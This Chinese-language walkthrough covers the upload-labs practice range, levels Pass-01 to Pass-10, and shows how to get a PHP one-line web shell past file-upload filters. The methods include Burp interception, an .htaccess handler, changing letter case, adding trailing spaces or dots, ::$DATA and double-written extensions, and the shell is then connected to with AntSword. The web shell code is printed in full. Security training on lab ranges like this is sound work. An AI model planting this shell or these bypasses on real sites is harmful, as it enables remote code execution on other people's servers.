目录
Pass-01(JS 验证)
Pass-02(MIME)
Pass-03(黑名单绕过)
Pass-04(.htaccess 绕过)
Pass-05(大小写绕过)
Pass-06(空格绕过)
Pass-07(小数点绕过)
Pass-08(::$DATA 绕过)
Pass-09(小数点和空格结合绕过)
Pass-10(双写绕过)
下载地址:GitHub - c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场
1.php 内容:
<?php @eval($_POST[cmd]);?>
Pass-01(JS 验证)
复制一个 php 文件,重命名 1.jpg
<?php @eval($_POST[cmd]);?>
上传,然后拦截数据包,通过burp修改后缀,修改后放包(Burp发送后数据包是已经经过了前端,所以前端校验就会失效),后缀改为php
右键复制图像链接
用蚁剑测试链接
Pass-02(MIME)
提交 抓包 修改后缀为 php
Pass-03(黑名单绕过)
查看源码, 不允许上传.asp,.aspx,.php,.jsp后缀文件
修改 httpd.conf 文件中的这行代码,把前面的#去掉
抓包 修改后缀为 php3
Pass-04(.htaccess 绕过)
黑名单过滤太多,使用 .htaccess 绕过,内容如下,先把 .htaccess 上传,再上传 1.jpg
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
Pass-05(大小写绕过)
查看源码, 上一关的.htaccess文件也过滤掉了,发现没有过滤大小写,本关就用大小写绕过
上传 1.php 一句话木马,抓包修改后缀
Pass-06(空格绕过)
查看源码,大小写被过滤,没有过滤空格,就用空格过滤
上传 1.php 一句话木马,抓包,后缀加一个空格
Pass-07(小数点绕过)
查看源码,大小写被过滤,空格被过滤,没有过滤小数点,就用小数点过滤
上传 1.php 一句话木马,抓包,后缀加个小数点
Pass-08(::$DATA 绕过)
查看源码,小数点 大小写 空格 都被过滤,用 ::$DATA 过滤
上传 1.php 一句话木马,抓包,后缀加 ::$DATA
连接时删掉 ::$DATA
Pass-09(小数点和空格结合绕过)
查看源码,::$DATA 也被过滤,使用结合过滤
上传 1.php 一句话木马,抓包,后缀加 小数点 空格 小数点
Pass-10(双写绕过)
查看源码, str_ireplace()函数 将危险后缀都替换为空,然后尝试用双写绕过
上传 1.php 一句话木马,抓包,修改后缀